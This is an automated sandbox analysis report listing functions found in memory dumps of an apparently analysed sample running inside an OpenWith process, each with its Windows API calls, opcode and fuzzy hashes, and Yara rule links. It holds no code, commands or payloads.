Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488CD80AD
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488CD80C1
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488CD80CC

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 472e16019ba601094a4c2923f039f601fa415deb3ae2891c44a4e6fa2e872d25
Instruction ID: 65a0179dc7e7a51944ce836f681702161d7d473a73182a80767be7de1806ae7d
Opcode Fuzzy Hash: 472e16019ba601094a4c2923f039f601fa415deb3ae2891c44a4e6fa2e872d25
Instruction Fuzzy Hash: 66212E70A088184FDFE4FB1DD4C8D6A77A2EF98311B6586A2D81ACB19DD625FC80D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE3564 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF488BE373C
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BE37E3

Part of subcall function 00007DF488BE3410: _malloc_dbg.MSVCRT ref: 00007DF488BE34DF

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg$??3@
String ID:
API String ID: 2216462316-0
Opcode ID: ac8e64687a13b889e1874be42d2c3ca0f1a614677750a284a612a131824c467f
Instruction ID: 1716a15d5560749a57cd8fb53f9d2f17b730eb2f783fac97fe35428e3554a95c
Opcode Fuzzy Hash: ac8e64687a13b889e1874be42d2c3ca0f1a614677750a284a612a131824c467f
Instruction Fuzzy Hash: FF719431A1C9884EE769A718D8966EFB7E1FFD5300F50856FE08FC21C7DD38A9458682

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF707C Relevance: 3.2, APIs: 2, Instructions: 212fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE ref: 00007DF488BF7183
MapViewOfFile.KERNELBASE ref: 00007DF488BF71A8

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: File$CreateMappingView
String ID:
API String ID: 3452162329-0
Opcode ID: 6f37d373b2b3a49eb537120db6fc8aad4c7c2cfb025e78fae260042e5601366e
Instruction ID: 9ffd2bb7c3a5773f625e71762e764c106d9ef0102c9f2f7df26b8b830e25a875
Opcode Fuzzy Hash: 6f37d373b2b3a49eb537120db6fc8aad4c7c2cfb025e78fae260042e5601366e
Instruction Fuzzy Hash: C1611E3151CA888FD759EB24D4869AFB7E1FFD4300F10896EF48BC6192DE74E9458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BFB2B8 Relevance: 3.1, APIs: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF488C08AFC: NtAcceptConnectPort.NTDLL ref: 00007DF488C08B0C

_malloc_dbg.MSVCRT ref: 00007DF488BFB366
??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BFB3ED

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@AcceptConnectPort_malloc_dbg
String ID:
API String ID: 1485176176-0
Opcode ID: 4ecf2b624d510c0b9105c9875737021730bb05f6acc8958d51b1f99a9df8c032
Instruction ID: 23cda57fbf8b5c39450eed7e85fae5e2532d9097a6cdad164b0f785c5a801068
Opcode Fuzzy Hash: 4ecf2b624d510c0b9105c9875737021730bb05f6acc8958d51b1f99a9df8c032
Instruction Fuzzy Hash: 6A417070508B488FDB58EF59D8856A6B7E0FB98341F00856FE84EC7296DB34E885CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE39D4 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF488BE39FD
_malloc_dbg.MSVCRT ref: 00007DF488BE3A5C

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: c7d75cb5367958d73e9615a6bc6f349406efcf48a859619531f8c598722d50c9
Instruction ID: 506da9538cd0e0e171ef8882b10031fe162e6b79d8344f1de8787a5e353c6903
Opcode Fuzzy Hash: c7d75cb5367958d73e9615a6bc6f349406efcf48a859619531f8c598722d50c9
Instruction Fuzzy Hash: 0E31D930A08A0A5FE7A4EF14D8459BAB3F5FF94311B04C62AE41BCA591EF64F88187C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF4DFC Relevance: 3.1, APIs: 2, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00007DF488BF4E42
VirtualProtect.KERNELBASE ref: 00007DF488BF4EBD

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: d1d5d62458b525b217cd191320538f3c548a21db8f8a8dd998a7d78b892a2355
Instruction ID: 94502fa84eeed5441e96c3d69d90e2ef60b14ae5f343629325c86193eb22edf0
Opcode Fuzzy Hash: d1d5d62458b525b217cd191320538f3c548a21db8f8a8dd998a7d78b892a2355
Instruction Fuzzy Hash: D621A431618E484FDB99EB18D895FE6B3E5FB98310F40852AF54FC3282DE38E9458781

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BFB064 Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT(?,?,?,?,?,?,?,?,-00000001,00007DF488BFB698), ref: 00007DF488BFB08C

Part of subcall function 00007DF488C09AF4: _malloc_dbg.MSVCRT ref: 00007DF488C09B1A
Part of subcall function 00007DF488C09AF4: NtAcceptConnectPort.NTDLL ref: 00007DF488C09BC3

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488BFB0C2

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@AcceptConnectPort_calloc_dbg_malloc_dbg
String ID:
API String ID: 961664145-0
Opcode ID: 7e0ab1111397d507d7881f8866247adeba30b7f5dcd171a7b7908f5c06eb3e7a
Instruction ID: 8c272a207c3a37abf9f09cedc3ad657f786d355ad6b28c4b91b6de0e90a38261
Opcode Fuzzy Hash: 7e0ab1111397d507d7881f8866247adeba30b7f5dcd171a7b7908f5c06eb3e7a
Instruction Fuzzy Hash: 21F0C831218D0C4FD788FB2D9C8CAB637D5EBD8721744427AE40BC7265DE68DD458790

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F19A0 Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlRemoveVectoredExceptionHandler.NTDLL ref: 0000024AB87F19AD
VirtualFree.KERNELBASE ref: 0000024AB87F19E5

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: ExceptionFreeHandlerRemoveVectoredVirtual
String ID:
API String ID: 3082376348-0
Opcode ID: 68a2bebb63dec11ebeb4fbf40c1c95563ebbd08489d40e2effbc7ec76ba53b27
Instruction ID: e2349413efa4b3bc98a5080f26f03b95a467cd5dc3f0c991c2360e2c880d1582
Opcode Fuzzy Hash: 68a2bebb63dec11ebeb4fbf40c1c95563ebbd08489d40e2effbc7ec76ba53b27
Instruction Fuzzy Hash: E2F03031214A098FDF9DEF95C4D5EA133A4EB38305F044179CC0ACB156DA21D885C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C321BC Relevance: 1.8, APIs: 1, Instructions: 281networkCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32 ref: 00007DF488C32322

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Recv
String ID:
API String ID: 4192927123-0
Opcode ID: c4c57ca064fec79989649ddb6862af836f57c300bd75a5ec3f98270fb5e76cde
Instruction ID: aadc6647b247250913d6894d19639cff2174a3f8f25537fb3e704239c1d36def
Opcode Fuzzy Hash: c4c57ca064fec79989649ddb6862af836f57c300bd75a5ec3f98270fb5e76cde
Instruction Fuzzy Hash: 49A19030A18A858FEFF8DB1CC4846A6B3F0FF55325F50812AE49FC2595D738E8528B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C02E34 Relevance: 1.7, APIs: 1, Instructions: 245registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32 ref: 00007DF488C03055

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: d8340601590ed8b71669f7c6d40f22125e0dc7ab3cfec3bbe45ed9527f2fef5b
Instruction ID: 22362e37706e211dced1befa1ba1eb7c9bd989b90f94d675b8c7f2c8a414d7f4
Opcode Fuzzy Hash: d8340601590ed8b71669f7c6d40f22125e0dc7ab3cfec3bbe45ed9527f2fef5b
Instruction Fuzzy Hash: B891D03060DB488FE7A5EF65D889B9BB7E1FB98341F10892ED48AC3254DB34D545CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C31F58 Relevance: 1.7, APIs: 1, Instructions: 227networkCOMMON

Download Yara Rule

APIs

WSASend.WS2_32 ref: 00007DF488C3200F

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: e6bbb75cfcada6243a44a272e57bf7ceaccf3902ad7b4c735c76777bdf036997
Instruction ID: d92c4ed2345cc0702fcaaf2b5cd828c5db7139b1fbff4436b78b0235cc2ee31c
Opcode Fuzzy Hash: e6bbb75cfcada6243a44a272e57bf7ceaccf3902ad7b4c735c76777bdf036997
Instruction Fuzzy Hash: C1817F70508A498FEBA8EF2CC484BA6B7E0FF54315F10826AD84FC7695DB35E855CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF41D8 Relevance: 1.7, APIs: 1, Instructions: 203COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE ref: 00007DF488BF4395

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 7301991a55ae90a18fd8a2167234c9b178d7ebdeea410f897018aea7b1691faa
Instruction ID: 8e4b1c71e9b5624610d2efcfac5ef4a92b23c966746a257530f6e870e094fa90
Opcode Fuzzy Hash: 7301991a55ae90a18fd8a2167234c9b178d7ebdeea410f897018aea7b1691faa
Instruction Fuzzy Hash: CA615E7191C6888BD7A5EF64D8946EBB7E1FF94300F404A2EE48FC2195DF34A644CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488CB81D4 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT ref: 00007DF488CB8276

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _calloc_dbg
String ID:
API String ID: 1170608187-0
Opcode ID: 44018f72451fb6f97907c2180155016648c018146df243a5073f74519136f283
Instruction ID: a816d3f413907cc0c7683d0100e67cde11b754f6a0965ced379cb4375a914497
Opcode Fuzzy Hash: 44018f72451fb6f97907c2180155016648c018146df243a5073f74519136f283
Instruction Fuzzy Hash: 48514430618C554EEFE8EB5DC494A6673E1EF98341F5491BAD41FCB29AD528EC82C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0B498 Relevance: 1.7, APIs: 1, Instructions: 176processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 00007DF488C0B591

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 830ad8bfff6d6a28aaa37f993cf9d2c89b1305a6e603a1f7e06b724cef07ffaf
Instruction ID: 230cff20a071b8e5278d6807ae959e8eb7902de54190d72fb4e821bf5342e47b
Opcode Fuzzy Hash: 830ad8bfff6d6a28aaa37f993cf9d2c89b1305a6e603a1f7e06b724cef07ffaf
Instruction Fuzzy Hash: B5515130A0CB848FE7A8EB58D8457ABB7E5FF94350F00452EE58FC3295DA74E9018B52

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C0131C Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF488C013EA

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: de4e33abc2b85d707b14ce31c2985da81c8d9c2e164d1120f04ddc1fc4c9d720
Instruction ID: 169f964d247f258b3ba72cc19f770266beb265c1a2a745aa27dfeaff41c6a400
Opcode Fuzzy Hash: de4e33abc2b85d707b14ce31c2985da81c8d9c2e164d1120f04ddc1fc4c9d720
Instruction Fuzzy Hash: DF416D31608E0E8FDB94FF6CD888AA5B7E1FB68351714466BD40AC7665DB34E8858BC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF6478 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF488BF4EE8: VirtualProtect.KERNELBASE ref: 00007DF488BF4F48
Part of subcall function 00007DF488BF4EE8: VirtualProtect.KERNELBASE ref: 00007DF488BF4F71
Part of subcall function 00007DF488BF4EE8: VirtualProtect.KERNELBASE ref: 00007DF488BF4F8D
Part of subcall function 00007DF488BF4EE8: VirtualProtect.KERNELBASE ref: 00007DF488BF4FB8

TlsFree.KERNELBASE(?,?,?,?,?,?,?,00000000,?,?,00000000,00007DF488BF220C), ref: 00007DF488BF65B3

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ProtectVirtual$Free
String ID:
API String ID: 3841229516-0
Opcode ID: 5a5076ee5687eff1dc103e3f39fba0ea38ea43aa56cb8851756aaefb7e695dca
Instruction ID: 5af4a79c425cdcd397d4abdcb9b6eb52a08db509949ba04a34791debabb57009
Opcode Fuzzy Hash: 5a5076ee5687eff1dc103e3f39fba0ea38ea43aa56cb8851756aaefb7e695dca
Instruction Fuzzy Hash: 06418630A08A5C4FDB94EB28D49556E73A1FB85700B10C57BF81FD769BDE29F9018B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE3410 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT ref: 00007DF488BE34DF

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: cc4326c6841866a6755c31003428b424b06f8f10db791a6fd7561e0a70c8a8fc
Instruction ID: a5b1325360aa066ed74798665f85b8d07ab89e066cbd2db70342ea45448fe15d
Opcode Fuzzy Hash: cc4326c6841866a6755c31003428b424b06f8f10db791a6fd7561e0a70c8a8fc
Instruction Fuzzy Hash: 6A41C630E0845A4FEBD99E2888D547A37F1EF8930571481ABE85BCE587DA28E946C790

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C05F25 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT ref: 00007DF488C0603F

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _calloc_dbg
String ID:
API String ID: 1170608187-0
Opcode ID: 464abf03954b1488bb33b72660d152e56a6024f3ddf4f43f633e037178124f68
Instruction ID: 3ff9a0c514115270520989d47dfdebd9c6f076f3e6c42a438373db89fcb6fb4b
Opcode Fuzzy Hash: 464abf03954b1488bb33b72660d152e56a6024f3ddf4f43f633e037178124f68
Instruction Fuzzy Hash: 8741DC30608A468FEAE4EF25D451BA6B3F1FF54340F10862AD45FC7696DB38F8458B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488CB8698 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

_calloc_dbg.MSVCRT(?,?,?,?,?,?,?,00007DF488C035A0), ref: 00007DF488CB86BA

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _calloc_dbg
String ID:
API String ID: 1170608187-0
Opcode ID: 0f09175ed41ec52fb61368549939e2fec1b0430f8f61d3b36df7633389686728
Instruction ID: dbe0dfc3fa684c482cc5da99c35e79cde78ca98c4247f87399bf8175bae22801
Opcode Fuzzy Hash: 0f09175ed41ec52fb61368549939e2fec1b0430f8f61d3b36df7633389686728
Instruction Fuzzy Hash: C141C570908A188FDBA1DF18D4887D176E5FB68701F2842BBDC4DCF25ADB748885CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488CA3A40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 00007DF488CA3B53

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a6d92b68487aba61ebac117687514d8b0f4984e1601233a670e8820dcb23c409
Instruction ID: 9744126917b8dbdfdd813cdd264ec9a785a07b8bee0a07ba2862bddab656c1de
Opcode Fuzzy Hash: a6d92b68487aba61ebac117687514d8b0f4984e1601233a670e8820dcb23c409
Instruction Fuzzy Hash: BF31527061894A4BEAC5FB68D8A57AA73B5FF84301F44807AD80FC719ADF28EC81C754

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF2110 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007DF488BE2BD4: RtlAddFunctionTable.KERNEL32 ref: 00007DF488BE2C01

SetErrorMode.KERNELBASE ref: 00007DF488BF21F8

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ErrorFunctionModeTable
String ID:
API String ID: 928017140-0
Opcode ID: 3093e2713d4c83f778b6f58d544e1c428f7102d517b3c9af48ca3ee171aa4d06
Instruction ID: a7bc318dd08941612998b547517d5bb125ce066ce41f1ce0322a00ab62410114
Opcode Fuzzy Hash: 3093e2713d4c83f778b6f58d544e1c428f7102d517b3c9af48ca3ee171aa4d06
Instruction Fuzzy Hash: 4F318721A189840FEB98FB98A88256E73F1EFC8310B50457FF91FC71D3D918ED458645

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C32700 Relevance: 1.6, APIs: 1, Instructions: 104COMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007DF488C32774

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 405079254f4dbac4a13797b27ee38af6170be3b6057a9a13f7f6cbe7f380fdd3
Instruction ID: 9ed568a170a6b5359979645439d918b0048155fa996ae74a040e801fb305d01b
Opcode Fuzzy Hash: 405079254f4dbac4a13797b27ee38af6170be3b6057a9a13f7f6cbe7f380fdd3
Instruction Fuzzy Hash: 1C31FC70908A458FEBE8DF1CC48876177E1FF55325F1042AAD81ACB2EAD734D882CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000024AB87F185C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 0000024AB87F192F

Memory Dump Source

Source File: 0000000D.00000002.2513242174.0000024AB87F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000024AB87F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_24ab87f0000_OpenWith.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 04359cd7b97b11c476e8c0617afcaa098c35e265ec660168a6fbd24c0647ca60
Instruction ID: ce6b439a9f6d0d7d5d4ac8a3abbda9b2c5f22d0690cce95ae7da6891ac6dbcdf
Opcode Fuzzy Hash: 04359cd7b97b11c476e8c0617afcaa098c35e265ec660168a6fbd24c0647ca60
Instruction Fuzzy Hash: 2331D570168A864AEB66D76F84887E173D1EBB43ACF1881BD8801C61D1DA72C8C1C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BFA124 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT(?,?,?,?,?,?,?,?,-00000001,00007DF488BFB707), ref: 00007DF488BFA16B

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 615d3ef31dc39e001ccb32ef45f5c84ddeb3600274fc1f206aae9d940679b753
Instruction ID: 14dfe357f17a2eddeb50cb9453725cf6d2fc16cafc3237338ba5032a6159d43f
Opcode Fuzzy Hash: 615d3ef31dc39e001ccb32ef45f5c84ddeb3600274fc1f206aae9d940679b753
Instruction Fuzzy Hash: C601FB3070880C8FDF88EB1CC4C4E5573E5EBA931476445A6E84ECB246CA35EC82CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE5330 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_malloc_dbg.MSVCRT(?,?,?,?,-00000001,?,-00000001,00007DF488BE53BE), ref: 00007DF488BE5375

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: _malloc_dbg
String ID:
API String ID: 1527718024-0
Opcode ID: 051b47b6163c57a56397831363f2f208832c5eccc5cbea97d62df897e1ee0233
Instruction ID: 61a9a684b9a43e90442c6622262203bac3d9202b895a63b21977c5072cb302fc
Opcode Fuzzy Hash: 051b47b6163c57a56397831363f2f208832c5eccc5cbea97d62df897e1ee0233
Instruction Fuzzy Hash: 20018671B04E065FE7A89B69D488766B6E1FB98321F14857AE40AC7281DB78E891C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE2178 Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 00007DF488BE21BE

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 53ef2cf4c624f8d13d0a6f534f041d9c86cf4983b70d579de2bd58a17e54e5cf
Instruction ID: 279a12b97caaac1323f80f8c8f31f8eafadacf010c222cc299e8732e1a342bb3
Opcode Fuzzy Hash: 53ef2cf4c624f8d13d0a6f534f041d9c86cf4983b70d579de2bd58a17e54e5cf
Instruction Fuzzy Hash: D2013C30E086448FDB90AFAAEC8562A77F1FB88311B44447FF11ACA5A1CE389A84C745

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488C3D6EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT(?,?,?,?,00000000,00000000), ref: 00007DF488C3D732

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 477c6fbf3943f877d88929c3287f51d47fe487078bb79bd2b27da6bea03aeec5
Instruction ID: 42d011bc6b5c329194ea84c4987ffa96e77081e9533ee5d3b0620645fb13139f
Opcode Fuzzy Hash: 477c6fbf3943f877d88929c3287f51d47fe487078bb79bd2b27da6bea03aeec5
Instruction Fuzzy Hash: 8BF0F43072BD0A8BFFAC6B79A85866933B1EF25316B04103FD907D25A5CF6D9841D722

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BE2124 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00007DF488BE2144

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_3_7df488be1000_OpenWith.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7a3e711983133c84745abeac61ff9bae0bae1902e442caba6f883a349e05e13e
Instruction ID: a51d27b633129f0a2d243ef2f201938b0d5406b80172770a4ba1f668bb8cf770
Opcode Fuzzy Hash: 7a3e711983133c84745abeac61ff9bae0bae1902e442caba6f883a349e05e13e
Instruction Fuzzy Hash: CDF0E521F0C1448FEBA0AFBAEC8112B21A1EBC4311F14C53BF20BCA1D1C9399A819212

Uniqueness

Uniqueness Score: -1.00%

Function 00007DF488BF1E78 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE ref: 00007DF488BF1E9F

Memory Dump Source

Source File: 0000000D.00000003.2512632578.00007DF488BE1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00007DF488BE1000, based on PE: false

